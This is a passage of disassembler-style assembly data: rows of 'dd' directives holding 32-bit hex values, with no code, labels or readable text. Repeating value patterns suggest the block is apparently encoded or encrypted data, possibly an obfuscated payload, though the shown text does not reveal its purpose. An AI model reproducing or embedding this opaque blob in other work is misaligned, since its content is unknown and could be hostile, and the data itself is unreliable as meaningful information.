		dd 285AF87Dh, 0E8E60A0Bh, 44309B69h, 0E1B91566h, 0F9B37306h
		dd 0D16581D8h, 0F1CD7407h, 24941C7Fh, 1132188Fh, 0C22D9166h
		dd 0F3ACE77Dh, 7A6AD1FCh, 9CCE1DEAh, 214335E3h,	443AFC60h
		dd 8BCC1566h, 4A9807CFh
		dd 58CD419Dh, 0C1B79C9Eh, 0CB34B34Bh, 11321577h, 8344FB66h
		dd 107D85E2h, 0EB40708Dh, 398DD51Fh, 4AB375BEh,	105E298Dh
		dd 0BB7D307h, 5634B36Ah, 98487D9Ah, 0ADC794BAh,	22321574h
		dd 0EEA5A852h, 0C6D08077h, 5CB3D9E0h, 33E2C0F2h, 0A4CD0026h
		dd 8E943AEBh, 44399269h, 24DB1566h, 0CC321566h,	0F48D61D8h
		dd 87B7986Dh, 4234B35Ch, 1ADBC3EDh, 3321566h, 40B9A2A3h
		dd 6810CA00h, 0EE530D46h, 23D75B6h, 44321560h, 22329D69h
		dd 90541566h, 0E9B09385h, 756B90EFh, 30DB13C0h,	61321566h
		dd 0BC4EEFF4h, 0D5D563F4h, 4B0832B9h, 0CEF63AB2h, 0A1B7D3D6h
		dd 334B36Ah, 22BB1A06h,	0E9321566h, 3DD07D07h, 0B8529F69h
		dd 2D53CBEDh, 113214E8h, 3DCDED66h, 42943AEBh, 5CE09506h
		dd 10BB1A07h, 71321566h, 7EF190EBh, 0A73D13C0h,	1132156Eh
		dd 88309F69h, 25521566h, 0D7E2EA9Fh, 0B0A590EFh, 0E85213CBh
		dd 80B24ED7h, 0AF3D74ABh, 11321575h, 8832188Eh,	921CD366h
		dd 8DA17988h, 4580B45Ch, 0E96A2DCAh, 4EAB90A1h,	224A13C0h
		dd 92C71566h, 2E2ED0DBh, 0C03D1560h, 22320F6Bh,	38B7D393h
		dd 0C434B36Ah, 58DB7D9Fh, 0AF3DCCBCh, 1132156Ah, 88349469h
		dd 0C73D1566h, 22321566h, 3EBFA099h, 615213C0h,	44321569h
		dd 686C4132h, 0DBDE5872h, 42D5DCFEh, 0C5644967h, 254BD290h
		dd 9D3D7447h, 88321561h, 44339969h, 0AFCE1566h,	0B708D6E3h
		dd 89B01A60h, 0B8321566h, 24DBC599h, 50321566h,	0B12CEC4h
		dd 4ADB75DEh, 46321566h, 0DCD25E2Dh, 92A39D57h,	0C6E4BF49h
		dd 0AB53EDD0h, 0BC9396E3h, 8838FC60h, 58E51566h, 0D94DAD22h
		dd 8B4069DEh, 88389469h, 41DB1566h, 0F5321566h,	0E3A42757h
		dd 841B90A0h, 4B7E13C0h, 22321DE7h, 13B71A66h, 0E8321566h
		dd 9AFC7D07h, 9C52C812h, 60AB1DCDh, 27F59400h, 0F1CD7456h
		dd 24943AEBh, 113E9569h, 0D3D1566h, 44321560h, 22329E69h
		dd 933D1566h, 8832157Ch, 4421FC06h, 83481566h, 0D889D814h
		dd 3D4D2736h, 22A89C3Bh, 0C6973F63h, 94BF7447h,	8E942FA5h
		dd 44389A69h, 44521566h, 4A2CDDE7h, 0E923DCE6h,	42DBC599h
		dd 0CB321566h, 0D5110A95h, 0FB79CE5h, 4B34B8C7h, 223214E9h
		dd 94F4EC66h, 8E94194Fh, 4437FC2Ah, 71601566h, 7986F57Ah
		dd 3FB39759h, 44321A8Fh, 19B87B66h, 777592A9h, 0B6E8150Eh
		dd 6C1E30E2h, 0DBFA099h, 1DB13C0h, 57321566h, 0D99ADDB7h
		dd 5FAB4550h, 0EF749CD7h, 541E9E0h, 0E208D6E3h,	28DB7560h
		dd 0F6321566h, 44A63440h, 1BE39949h, 24BD1ACFh,	1E321566h
		dd 883215E8h, 94CD7466h, 2232068Fh, 0D2A8C166h,	661BB9B5h
		dd 0E818279Bh, 0BE9F7450h, 797DE143h, 38F39406h, 153A8791h
		dd 0A7BB743Eh, 179FB4EDh, 88321B8Fh, 0E82C2266h, 88CD9F2Ch
		dd 6F6F1DA0h, 4ECC7E7Bh, 0E23E3CE3h, 0CB525960h, 1132156Ch
		dd 0C69E1754h, 0D1432D0Eh, 4A535924h, 0A21D557Eh, 88321E8Fh
		dd 0E8F4C366h, 76745A74h, 12190236h, 88349C69h,	22521566h
		dd 43F096D8h, 3EBFA099h, 875213C0h, 443200E6h, 223DFD66h
		dd 0AF141566h, 0F49BBEE9h, 0B85700ABh, 0F11AB53Eh, 9C534C05h
		dd 2E08D6E3h, 4421FC60h, 0D4A41566h, 17AFEDF7h,	0E33EC6C5h
		dd 63F622A9h, 55B2C76Fh, 71E2EA12h, 88379969h, 5F8D1566h
		dd 443D8545h, 0D0AE3E7h, 3B79C07h, 0AD34B8C7h, 2232156Dh
		dd 5166A31Eh, 0B0AE1F18h, 82EF35D3h, 843E3CE3h,	46525360h
		dd 88329769h, 226D1566h, 437B93DEh, 0CF34010Eh,	3DCDECDCh
		dd 42943AEBh, 7BCE4706h, 70E3A269h, 57B97306h, 0C953CBECh
		dd 8408D6E3h, 90547560h, 30EB1CBEh, 71352CBCh, 0CBE2EA07h
		dd 11321577h, 4FB78F88h, 0CEE47744h, 28BC8CD5h,	0CAD5856Ah
		dd 1BB79C91h, 2434B8C7h, 52EAAF00h, 70C3AA69h, 841B90A0h
		dd 247513C0h, 43CEEFEDh, 0CD226F0Eh, 3DCDECE7h,	42943AEBh
		dd 0E1B7989Eh, 0F834B35Ch, 8832156Dh, 0FD79575Ch, 40FEECDCh
		dd 0EEB80036h, 80DBEDB6h, 10321566h, 0EDE4F4E9h, 98BC678Eh
		dd 25938EE3h, 4438FC60h, 0E7DD1566h, 7712CDC5h,	2D966C5h
		dd 44359369h, 0AA3D1566h, 11321567h, 0A1B7D39Eh, 334B36Ah
		dd 22289269h, 77521566h, 447CD4E7h, 44321B8Fh, 871B766h
		dd 0D3EBC135h, 0D6926BD0h, 25E47B98h, 0A5BCB90Eh, 933D7589h
		dd 88321567h, 6015AD9Ah, 0DD535845h, 0B71D98D3h, 7D527560h
		dd 25C2A269h, 431BE4E6h, 2BF190EBh, 82DB13C0h, 0EF321566h
		dd 615FB469h, 0AE956679h, 89BA1A2Fh, 0BC321566h, 0A63DC599h
		dd 1132156Ah, 88349369h, 0CB3D1566h, 22321566h,	0B0AD90EFh
		dd 9BDB13CBh, 1C321566h, 6B2FB104h, 0A1939D87h,	622F3D7h
		dd 20633045h, 0A7F4C505h, 1794194Fh, 8823FC21h,	76131566h
		dd 706DA1C0h, 7400B33Eh, 77637BB5h, 4BFE850Dh, 223208E3h
		dd 973D7566h, 88321566h, 4432058Fh, 620DD366h, 0DDF46315h
		dd 1E7EE227h, 516E7B02h, 0F05A7418h, 0E4E68FC1h, 0A7BFA099h
		dd 4DDB13C0h, 9E321566h, 0BE0F5370h, 9681F62h, 7EF190EBh
		dd 0CB5213C0h, 11321561h, 6D146696h, 25503F16h,	4452C599h
		dd 0F86D63DFh, 88321577h, 0B31D488Dh, 0C1BF93Ch, 6C4D3FD1h
		dd 780310E1h, 0C1BB74AEh, 249FB4C5h, 0D753E006h, 2E3E3CE3h
		dd 50DB5260h, 64321566h, 0B1961212h, 0C3877062h, 0AFC9E5FCh
		dd 0A89A0A14h, 79A13033h, 32F32C62h, 0C987EA9Fh, 0DA34B349h
		dd 13B81A06h, 0E8321566h, 3AE09407h, 437E5071h,	2BF190EBh
		dd 3D13C0h, 44321567h, 0DAE2EA9Fh, 0B09590EFh, 0BCB13CBh
		dd 0E235B8DBh, 0A73D1560h, 11321501h, 4BB94306h, 41B21A38h
		dd 44321566h, 940FAE7h,	0A1B7D307h, 334B36Ah, 223E9769h
		dd 9D3D1566h, 88321560h, 44329169h, 455A1566h, 0EDD2674Bh
		dd 0A7BFA099h, 0C9C713C0h, 8408D6E3h, 0CBB37560h, 996C0E1Bh
		dd 2596F8E6h, 0ABCBC599h, 0BC93BEE3h, 8823FC60h, 7E7A1566h
		dd 3AC6B552h, 0CEA69FF7h, 0D7384626h, 825F378Eh, 843E3CE3h
		dd 18DB5260h, 0A9321566h, 4203365Ch, 77A68DA9h,	3881A40Eh
		dd 0AB8475E8h, 0C987EA07h, 0CB34B349h, 11321577h, 0FBF3644Ah
		dd 0D9E8BCC7h, 213212C6h, 3C72F8Dh, 4BB79878h, 2434B35Ch
		dd 22219D69h, 1CDA1566h, 3A321566h, 82F90F93h, 0FDBD8769h
		dd 0C35B55F3h, 4EB94338h, 94CD743Eh, 8DB79C93h,	7134B8C7h
		dd 0C2897336h, 0FB3D4C36h, 0A7F47490h, 1794194Fh, 8FB11A25h
		dd 4B321566h, 223214E2h, 0B65AE966h, 0E8F2632Ch, 0FAEC9E00h
		dd 0DF41C7Ah, 9C87EA07h, 8734B349h, 443206E9h, 223CFC66h
		dd 0A72E1566h, 9623F3C6h, 2CB76020h, 0CF9A2D5Fh, 2BF190EBh
		dd 615213C0h, 4432156Bh, 13EEF592h, 1C01E16Fh, 218EE8EEh
		dd 94CD74C9h, 2239FC06h, 95381566h, 0D49F3457h,	0DF00E1E4h
		dd 437FA12Eh, 0B08190EFh, 43D13CBh, 44321565h, 0CB53ED06h
		dd 11321577h, 85933A31h, 0AF652DF8h, 82136FD8h,	0D972BBBDh
		dd 0A1B7D397h, 834B36Ah, 75527593h, 7953743Fh, 7354798Dh
		dd 4437FD06h, 524A1566h, 4BC972A1h, 8832068Eh, 7CCCB566h
		dd 0B6BE91D1h, 14E1DF2Fh, 5DB4693h, 500A80E1h, 5651AD00h
		dd 0A4CD743Fh, 8E942663h, 44359C69h, 44521566h,	7052E5EDh
		dd 4BB79807h, 4B34B35Ch, 22320EE4h, 4B51A66h, 61321566h
		dd 44321576h, 17A14796h, 42FA07A1h, 0D861F394h,	7D8D423Ah
		dd 0ABCBC599h, 0BC9052E3h
		dd 8FBC1A60h, 4B321566h, 223214EAh, 94F4E966h, 8E94194Fh
		dd 115AED22h, 2D8966E8h, 11321DE1h, 30547566h, 2552202Ah
		dd 0AF87EA07h, 0ED34B349h, 0B2F190EBh, 0BBCE13C0h, 23B01AB6h
		dd 0ED321566h, 298590EFh, 0C45213CBh, 0AC3DD4BBh, 1132156Dh
		dd 8832138Fh, 0C0D6A766h, 4384A7BDh, 1D1B90A0h,	877113C0h
		dd 443206E8h, 223CFC66h, 19701566h, 3BFC8D5Fh, 0DD374AFBh
		dd 732FE97Eh, 9F5CE90Eh, 8838FCDAh, 8D551566h, 0B0CE8222h
		dd 6A8F6588h, 0A7BFA099h, 0CF3D13C0h, 22321567h, 0D2B7989Fh
		dd 7034B35Ch, 0CDCAC599h, 8F93AEE3h, 10BF1A60h,	7D321566h
		dd 6DB7D39Ah, 7134B36Ah, 1135FC06h, 0B92C1566h,	0C3CD48DDh
		dd 885A74D1h, 1EF40558h, 88321DE6h, 46BE1A66h, 42321566h
		dd 9C87EA07h, 8734B349h, 443216EBh, 43CB7566h, 2BF190EBh
		dd 875213C0h, 0C03DCAD1h, 22321560h, 11329369h,	77531566h
		dd 0C55475B6h, 0A2AD7FA7h, 98533DAAh, 2593AAE3h, 0B4B97560h
		dd 0FD06D2DFh, 0ACB17402h, 8E942133h, 2EB61A66h, 0DA321565h
		dd 11339A69h, 4ECB1566h, 0E23E3CE3h, 4ACB5360h,	0EBA4DB57h
		dd 8838FC06h, 0B88B1566h, 817395CAh, 2731C892h,	587EA07h
		dd 2434B349h, 0DBC1A269h, 0D2B79807h, 0E834B35Ch, 443EFD35h
		dd 0DE111566h, 0C2EA6998h, 0C00C2375h, 1D6A8CBAh, 1C7B81D8h
		dd 0C1CD744Ch, 88359069h, 0C23D1566h, 22321567h, 0AB79C93h
		dd 6134B8C4h, 44321574h, 66F80544h, 734E5DB8h, 0F8E907C6h
		dd 704B70E6h, 0A7F4639Fh, 1794194Fh, 8FBF1A20h,	4B321566h
		dd 223214E8h, 79CEE966h, 74952FB0h, 0C987EA9Eh,	0CB34B349h
		dd 11321560h, 30D95CE1h, 0C1BF542Ah, 24942FA5h,	11321A8Fh
		dd 54E05866h, 0CAB7BEEDh, 0D4AE5D18h, 0B371CF29h, 8FDBC599h
		dd 0E0321566h, 0B03692Bh, 94BB6DDFh, 8E9FB74Dh,	0C48A7306h
		dd 2223FC53h, 2791566h,	0A3D85028h, 0ECF6FF12h,	0DDB0BCDFh
		dd 70D74574h, 841B90A0h, 247413C0h, 0A83DCCEDh,	11321560h
		dd 4FFBE2E7h, 2C5368C4h, 0B0CEB166h, 17B21A06h,	87321566h
		dd 443215E4h, 4370A266h, 3EBFA099h, 0F3D13C0h, 44321576h
		dd 2234FC06h, 8C951566h, 1BEF2CDh, 25E19E00h, 18F190EBh
		dd 0EECB13C0h, 37CE75B6h, 619ACDC8h, 0DB79C07h,	7134B8C4h
		dd 88329669h, 0CF541566h, 0A7F474ADh, 1794194Fh, 87637520h
		dd 443215EDh, 0AD3D4C66h, 11321571h, 8832048Eh,	0F6A9F966h
		dd 46EFD210h, 2BF7C149h, 0CE9D369h, 2569A806h, 22339B69h
		dd 79CA1566h, 7EE65A0Ch, 9DB97306h, 0DD8D1A34h,	9B527439h
		dd 4EB973A5h, 0C987EA07h, 4234B349h, 0D2B79807h, 0E834B35Ch
		dd 0BCBBAC00h, 43FFE1E6h, 17DBC599h, 3F321566h,	0A9E88CF1h
		dd 23B61A39h, 0E4321566h, 2A0190EFh, 0CB3D13CBh, 2232156Eh
		dd 24F89406h, 0E95ADF75h, 481B90A0h, 0CB7413C0h, 1132156Fh
		dd 4BF75A81h, 0B87109C2h, 72D57DF8h, 465281ABh,	0BC4683DDh
		dd 0BB534F6Ch, 841D98D3h, 0AA547560h, 0F78BA3A6h, 254035A2h
		dd 18F190EBh, 5DB13C0h,	0AC321566h, 5FA8295Fh, 8B207B44h
		dd 0E9E8D733h, 884D427Ah, 0BB37122Dh, 9B5475B6h, 0E2B33296h
		dd 0D584DAF8h, 4421FC07h, 58771566h, 79BD7000h,	512FE105h
		dd 237748BFh, 0ECF8076Fh, 0EB79CEBh, 6134B8C4h,	4432156Fh
		dd 9EE61D11h, 92F9B830h, 0A1B7D3D3h, 234B36Ah, 56097D93h
		dd 9A52A444h, 63E995A7h, 0F1CDEC07h, 24943AEBh,	11321A8Fh
		dd 2A700E66h, 11798BB8h, 0CEF4035Ah, 3E672193h,	0B2F190EBh
		dd 0CC3D13C0h, 22321563h, 0E8694506h, 70E2EA07h, 0AAB37306h
		dd 0A33DB2F9h, 11321560h, 88329769h, 0CD531566h, 8F9036E3h
		dd 1DB31A60h, 87321566h, 443213EBh, 22B61A66h, 0D7321566h
		dd 2E3E3CE3h, 4FDB5360h, 78321566h, 0FB0B5FD3h,	0D6F247F1h
		dd 0A95ADEF8h, 2DED6C8Ch, 11320BE4h, 9CDB7566h,	3B321566h
		dd 0F0A71FEh, 4DED551Dh, 2304B332h, 28DEFAA0h, 44D4BB4Fh
		dd 0EE53D7EDh, 2E1D98D3h, 0C1BFED60h, 24942FA5h, 0CA851A06h
		dd 0E8E2EA07h, 0AD52D4EDh, 22321576h, 6A28D092h, 5361DA1h
		dd 0C99E8292h, 5A1CC54Ah, 70537406h, 2A1590EFh,	0AD5213CBh
		dd 2232156Eh, 965EB75Eh, 5AFA1EBCh, 0E98F9607h,	2234B361h
		dd 11AF9069h, 0E8CB1566h, 4FDBCBEDh, 0E0321566h, 1462E7EBh
		dd 0E98C55F2h, 82537CC3h, 843E3CE3h, 1E524660h,	883206E2h
		dd 443FFD66h, 6CBA1566h, 1C2DA88Ah, 9EA8CCDAh, 1B8E9662h
		dd 3EE59400h, 4F5A74DCh, 7DFCAB86h, 6BBFA099h, 0A83D13C0h
		dd 11321576h, 88321E8Fh, 0F4AAAE66h, 0A7168EA8h, 0C0DE3707h
		dd 0B2F190EBh, 49DB13C0h, 0C3321566h, 0A9580C9Fh, 0AEDDB5D3h
		dd 64D55ADFh, 9C52C599h, 46E8892Fh, 88321E8Fh, 33DE9D66h
		dd 0DFE76E26h, 1D91CCC1h, 4BB79C07h, 0B134B8C7h, 60D7AB06h
		dd 0D753240Fh, 2E3E3CE3h, 54DB5260h, 6F321566h,	6AD045FFh
		dd 0DA1ED2A9h, 0A57FE6B1h, 4A9F4E42h, 0D6834BE1h, 88259269h
		dd 56DB1566h, 12321566h, 69A917DDh, 26271963h, 0F9B6037Ch
		dd 5E2A0CC1h, 9C87EAB4h, 8734B349h, 443214E0h, 0A7BFE966h
		dd 17942FA5h, 88339369h, 0BBCA1566h, 223FFCB6h,	294A1566h
		dd 0AD85CA07h, 0BA35CBDBh, 0AB48E433h, 0BC93D2E3h, 73D7560h
		dd 44321564h, 0AE3DC4EDh, 11321565h, 0E9E8A269h, 443F9969h
		dd 0A3521566h, 74465B6h, 66B3737Fh, 0C753FF45h,	8435B8DBh
		dd 943D1560h, 883215A1h, 443EFC06h, 4A8A1566h, 0C1912894h
		dd 3D9A4599h, 8253C3F6h, 843E3CE3h, 79C75260h, 6E506B63h
		dd 443BFC06h, 541B1566h, 7BF0D08Ah, 0E9486CD5h,	6BBFA099h
		dd 0A73D13C0h, 1132157Bh, 88259569h, 56DB1566h,	0DC321566h
		dd 4282A675h, 0DD56469Ch, 0A1275839h, 6C820DCBh, 6B41AC2h
		dd 61321566h, 44321574h, 0BC8086C7h, 0CA339691h, 0E1F4183Fh
		dd 0C9C9474Eh, 0A7BFB0F7h, 17942FA5h, 88219769h, 0C73D1566h
		dd 2232156Bh, 11321D8Fh, 0F5E9F066h, 0C746F72Dh, 42E2EACAh
		dd 1CDAAED1h, 0AF321566h, 12DE6C0Bh, 5D1A793Bh,	0E2DF338Dh
		dd 54697AD9h, 0CD534B18h, 8F93DEE3h, 113BFC60h,	0A0081566h
		dd 0A2988A6Bh, 0E4B2BB7Dh, 0B73E3CE3h, 0E0CA5660h, 0D6481C90h
		dd 22279F69h, 1DB1566h,	4A321566h, 74ADA696h, 0C3B9971Bh
		dd 0DC6FC4DCh, 0E8A8D12Ah, 4434C4E7h, 0AC3D01FFh, 11321563h
		dd 4DED9400h, 0F1CD74B6h, 24943AEBh, 12BB1A06h,	0EE321566h
		dd 0C554DAEDh, 43AEF087h, 2BF190EBh, 77CB13C0h,	4CBE1AB6h
		dd 2D321566h, 113217EAh, 1537566h, 0E993DAE3h, 0A7F4E960h
		dd 1794194Fh, 82B31A25h, 24321566h, 22329B69h, 49641566h
		dd 1F127D07h, 0BD52E947h, 97CD749Fh, 17943AEBh,	4A8D1A06h
		dd 25E89E00h, 0E1B7989Eh, 7134B35Ch, 77F49400h,	94CD7493h
		dd 0AD3D7593h, 11321564h, 93DFCD3h, 44321565h, 431BDCE6h
		dd 0B0E190EFh, 0A3D13CBh, 44321567h, 8F8F969Ah,	1134B361h
		dd 897E9069h, 82CB1566h, 843E3CE3h, 71CA5660h, 7BF49400h
		dd 4434FC99h, 0BB121566h, 19C7E0Bh, 20317D07h, 0BBCE9E66h
		dd 841D98D3h, 1AB01A60h, 61321566h, 44321560h, 766076B8h
		dd 94BF51EAh, 8E942FA5h, 44289E69h, 2D521566h, 113215EAh
		dd 883EFD66h, 457C1566h, 0D577F89Eh, 38A6B916h,	0E96D0B20h
		dd 0AD52C599h, 22321568h, 0C4EFABE2h, 5091D089h, 37917346h
		dd 0A3549F8Dh, 706B6EB9h
		dd 29E990EFh, 225213CBh, 3E0CFCE7h, 0D753D2EDh,	2E3E3CE3h
		dd 17525660h, 22329A69h, 706B1566h, 0D304C00Eh,	4434FC83h
		dd 0A0A71566h, 3D2184D5h, 85BD1A06h, 0AD321566h, 2232156Eh
		dd 0A1D07A35h, 1E52826Eh, 0DF24FFE7h, 0DD537181h, 0B71D98D3h
		dd 883EFC60h, 4CA21566h, 0E35AA891h, 5FBFF3E2h,	0DBFF0F9h
		dd 42942FA5h, 23B21A06h, 0E8321566h, 88289D69h,	50DA1566h
		dd 7F321566h, 983FFEDh,	0A0C306C2h, 7472936Ch, 0A0CC3F32h
		dd 49C37328h, 87E2EA07h, 44321DEFh, 0A23D7566h,	11321566h
		dd 5FB79C07h, 4B34B8C7h, 22321DE3h, 13B81A66h, 0E8321566h
		dd 0AF827507h, 2232018Fh, 0AAC1D066h, 0BE558981h, 3E267C1Ch
		dd 40D837D9h, 0A57E88E8h, 0DF4749Bh, 4294194Fh,	223DFC25h
		dd 0E7F81566h, 72531FBh, 325097ECh, 0DCE12051h,	113CFCEFh
		dd 98631566h, 397C6E65h, 0C3013DE6h, 9CC42F34h,	2200F40Eh
		dd 0C554758Ch, 0A23959B6h, 0EE53DDB8h, 2E1D98D3h, 0C1BFEC60h
		dd 24942FA5h, 1132198Fh, 78C6CD66h, 7BBB7DD3h, 0A2D2FD4Bh
		dd 1EE2EA13h, 88321FEFh, 4437FC66h, 0D811566h, 9855778Bh
		dd 2593CAE3h, 45BD1A60h, 0DB321566h, 1DB81A06h,	61321566h
		dd 44321561h, 0F9C17074h, 0ED340DD5h, 0A1B7D307h, 734B36Ah
		dd 24B11A06h, 1E321566h, 883215E9h, 7BD39466h, 437F8197h
		dd 0BD057D9Eh, 86DB9197h, 1A321566h, 67E99813h,	2AA43873h
		dd 93A2652Dh, 0C987EAC6h, 0DB34B349h, 2BF190EBh, 83D13C0h
		dd 44321567h, 2DE2EA9Eh, 113206E0h, 8FDB7566h, 3F321566h
		dd 0A0702E79h, 9054D78Ch, 0E9BD84ACh, 0E5D190EFh, 0AA3D13CBh
		dd 1132157Eh, 88209169h, 49DB1566h, 86321566h, 9CC209E5h
		dd 44E7FDCEh, 0FD0E9358h, 2E1B90A0h, 0F87D13C0h, 88321569h
		dd 3C3AEEC9h, 0D627A70Eh, 93408199h, 0E0F0135Ch, 0D30785B2h
		dd 2232018Fh, 0C6D63666h, 0F2B027E3h, 7E495A7Bh, 98D47E03h
		dd 0D0D2776h, 587EA4Ah,	0AD34B349h, 22321561h, 0D6B340A8h
		dd 57A0098h, 0E208D6E3h, 0EAB97560h, 1132188Eh,	2CDBDD66h
		dd 272A93F4h, 0FE7E3002h, 5DABD9Bh, 0F2321566h,	0FCEE4CFEh
		dd 0ED8D6841h, 0EC31875Dh, 1AA71453h, 1E1B884Bh, 0A63D743Eh
		dd 1132156Ch, 88B01A06h, 17321566h, 0F2CD743Fh,	1CCFAF06h
		dd 3540E28h, 0C1BB74AEh, 249FB481h, 113E9969h, 0E3D1566h
		dd 44321560h, 22329E69h, 94F41566h, 8E94194Fh, 49DA7529h
		dd 0EB321566h, 847FCAD1h, 67AEFAD0h, 0E3742584h, 0A36849D0h
		dd 51032B8Eh, 8A5A7426h, 0BDCB7B68h, 22339E69h,	0EECE1566h
		dd 2E1D98D3h, 0C1BFE060h, 24942FA5h, 3B41A06h, 61321566h
		dd 4432156Bh, 78FC5403h, 6335772Bh, 0D4917C45h,	387445Eh
		dd 0F2CD743Eh, 0FAB79C9Eh, 7134B8C7h, 481B90A0h, 427F13C0h
		dd 94DC9400h, 61F294C7h, 25790F75h, 154B5C0Eh, 868875AEh
		dd 0E956E3D1h, 6BBFA099h, 0A63D13C0h, 11321568h, 88321C8Fh
		dd 0B0A06766h, 120289E4h, 94BF1782h, 8E942FA5h,	0B1E2EA93h
		dd 0A7BB7406h, 179FB495h, 8832078Fh, 0CE2BCC66h, 1AFBA0Ah
		dd 0D17B4F24h, 9309D389h, 0AD91EBCBh, 2232156Fh, 482E6FFDh
		dd 0CE68842Eh, 6DB7D3EFh, 6F34B36Ah, 1138FC06h,	0A09F1566h
		dd 45F4E050h, 8079A866h, 5CBB7D07h, 74CBC991h, 6BBFA099h
		dd 445213C0h, 58BDDEDh,	0E928436Fh, 7EF190EBh, 33DB13C0h
		dd 10321566h, 75B57088h, 5FBF20F7h, 92CADBE9h, 5A202508h
		dd 1CAC599h, 0E993FAE3h, 28BA1A60h, 71321566h, 31F49E00h
		dd 6D43503Ah, 0BB7D307h, 4434B36Ah, 82C29406h, 4B52E8A9h
		dd 223213EBh, 11B11A66h, 0E9321566h, 5F1F220Eh,	0A78B75FAh
		dd 1E64D8CEh, 88321AEAh, 4438FC66h, 5371566h, 0BD3C34C6h
		dd 7435E97Ch, 0C987EA07h, 2D34B349h, 113218EBh,	883AFC66h
		dd 74BB1566h, 0FDDA07C1h, 94BFE252h, 8E942FA5h,	442B9369h
		dd 36DB1566h, 5B321566h, 3FACE77Dh, 1C6AD1FCh, 0E1E11DEAh
		dd 49C4CABCh, 77E1436Ch, 4420FCB6h, 1B381566h, 0F419F44Ch
		dd 0EDA3605h, 381F5E50h, 0C2374177h, 0B0C590EFh, 875213CBh
		dd 443211EAh, 9F887366h, 2FD99429h, 0E937AB1Fh,	481B90A0h
		dd 2D7113C0h, 113214ECh, 23DEC66h, 44321567h, 0D2187D93h
		dd 1FDBC7B3h, 2E321566h, 80F0F237h, 73A19B26h, 0CCB8B50Ch
		dd 587EAAFh, 4B34B349h,	22321BE6h, 903D7566h, 88321566h
		dd 0CA12F5E7h, 0AF535B9Eh, 0B708D6E3h, 883FFC60h, 0ACBE1566h
		dd 0A11982AFh, 9D23F133h, 777DDAF5h, 57BF1AB6h,	0CB321566h
		dd 11321568h, 0D1DB0248h, 0FFF117B5h, 920428F1h, 98C79F1Ah
		dd 2593EEE3h, 43BC1A60h, 42321566h, 0DA8DFDDh, 0DF4745Eh
		dd 4294194Fh, 0AD867534h, 0A5D87D07h, 7052E824h, 54DB749Ah
		dd 0C6321566h, 0D26F6219h, 0B80E3A1Ah, 84287D76h, 0DD57DC30h
		dd 0B71D98D3h, 23D7560h, 44321560h, 22329369h, 0AB541566h
		dd 55375B2h, 0E208D6E3h, 36BB1A60h, 0F8321566h,	88321569h
		dd 10E287B0h, 0E1521F6Ch, 8FC8B1B7h, 77664F69h,	50B31AB6h
		dd 0CB321566h, 11321569h, 0DAD3BE7h, 0FB3E46Ch,	0B3B2990h
		dd 98D68B07h, 2E2808E3h, 4438FC60h, 0D1511566h,	40792F1Fh
		dd 71FFADB4h, 481B90A0h, 427513C0h, 943DFFECh, 88321560h
		dd 44329669h, 4A531566h, 0F3AA4CFFh, 8832108Fh,	6AFDF966h
		dd 0AD3DB51Bh, 11321567h, 587EA93h, 0AD34B349h,	22321568h
		dd 0AAFED596h, 0D4A6A448h, 6805B29Dh, 29DBE504h, 4E321566h
		dd 0AC9507F2h, 86DB6BF7h, 0A7BF51C0h, 17942FA5h, 7DE2EA9Ah
		dd 0E5CD90EFh, 30DB13CBh, 81321566h, 89A87758h,	2BCA76EAh
		dd 0F5C59717h, 7B42B098h, 89B01A3Fh, 0B1321566h, 2E1B90A0h
		dd 0E47513C0h, 7552D70Eh, 443BFCD7h, 787B1566h,	138190E8h
		dd 771A9185h, 0E21D98D3h, 0A352ED60h, 0C85669A4h, 0DBF740Fh
		dd 42942FA5h, 42E2EA9Fh, 113CFD34h, 92A71566h, 1E47780Dh
		dd 38747884h, 0B78ED158h, 87534B38h, 443212E9h,	23B41A66h
		dd 0E8321566h, 2A3190EFh, 82CE13CBh, 843E3CE3h,	0F8525260h
		dd 8832156Ch, 24958B84h, 0FDC26BE0h, 70CE6B2Ah,	2ECC010Eh
		dd 4CBE1AB9h, 2D321566h, 113217EDh, 77537566h, 0E21D98D3h
		dd 25B11A60h, 1E321566h, 883214E1h, 0C1BFE966h,	24942FA5h
		dd 1126FD06h, 0F6521566h, 8A6D954Ch, 10DEC06Eh,	2F9E07E5h
		dd 2A15C280h, 0FF5480B7h, 43698AF3h, 98CAC599h,	259012E3h
		dd 82C7ED60h, 843E3CE3h, 9A3D4A60h, 88321567h, 0B65A7D9Fh
		dd 30DB8B36h, 90321566h, 12FEE489h, 5F14642Dh, 0C460A88h
		dd 438AD472h, 587EA8Dh,	0AD34B349h, 22321560h, 1DC59483h
		dd 0DBF3009h, 42942FA5h, 2232108Fh, 9BB9A866h, 58CD4630h
		dd 44339069h, 0ABCE1566h, 0BC901EE3h, 84B31A60h, 4B321566h
		dd 223213E9h, 11BF1A66h, 0E8321566h, 0C1F4749Fh, 2494194Fh
		dd 0FB21A29h, 0E8321566h, 4432048Eh, 45F30866h,	0B544C463h
		dd 0A8BABF47h, 0B79C99D0h, 446C3ABCh, 3589F6E7h, 0F30D7D07h
		dd 0ADC7D29Ah, 22321572h, 45772DAAh, 0A245134Fh, 5E2207D9h
		dd 262A04BEh, 0BBD5FC7Bh, 0A7BFA099h, 0C13D13C0h, 22321561h
		dd 11339869h, 61C71566h, 44321577h, 285B3D40h, 0C17E6C6Bh
		dd 2281B868h, 715A3454h, 0E1B79868h, 0F834B35Ch, 8832156Bh
		dd 2AD893A2h, 0DCCBF96Ch, 544E7431h, 0E8E2EA06h, 4BE89E00h
		dd 223216EBh, 0C1B97366h
		dd 0BFB79C07h, 0AD34B8C4h, 2232156Dh, 21EA067Bh, 6197F4BAh
		dd 829F5AB9h, 843E3CE3h, 9A3D5260h, 8832157Ah, 4422FD06h
		dd 3CBD1566h, 3A1E7B92h, 0DCDA8460h, 79007B64h,	446D2E05h
		dd 7083C5DEh, 0E67E7D9Ah, 50DBEF3Dh, 7E321566h,	482F6142h
		dd 89DEC89h, 956D1C0Ch,	8FF78C2Eh, 0EE19421Eh, 2E1D98D3h
		dd 0FB527560h, 6C15716Ah, 1132068Fh, 9B5C3066h,	0B0F57285h
		dd 839FF1C7h, 714E7345h, 8DE57163h, 443FFD07h, 77041566h
		dd 5843D11Fh, 8B70D74Bh, 0AD4703CBh, 22321575h,	0A95ADB99h
		dd 1B38BA45h, 4DC5E14Bh, 0A5C7C464h, 4B3F6BABh,	4BB79807h
		dd 4B34B35Ch, 223203E9h, 1123FC66h, 0A8EC1566h,	0D12D804Ah
		dd 9BF69466h, 7DADAA2Bh, 615E3F14h, 44321569h, 0AF7C5EDFh
		dd 0ADF108C0h, 6A61EDD1h, 0BBA4848Ah, 0CB6475B6h, 1132156Dh
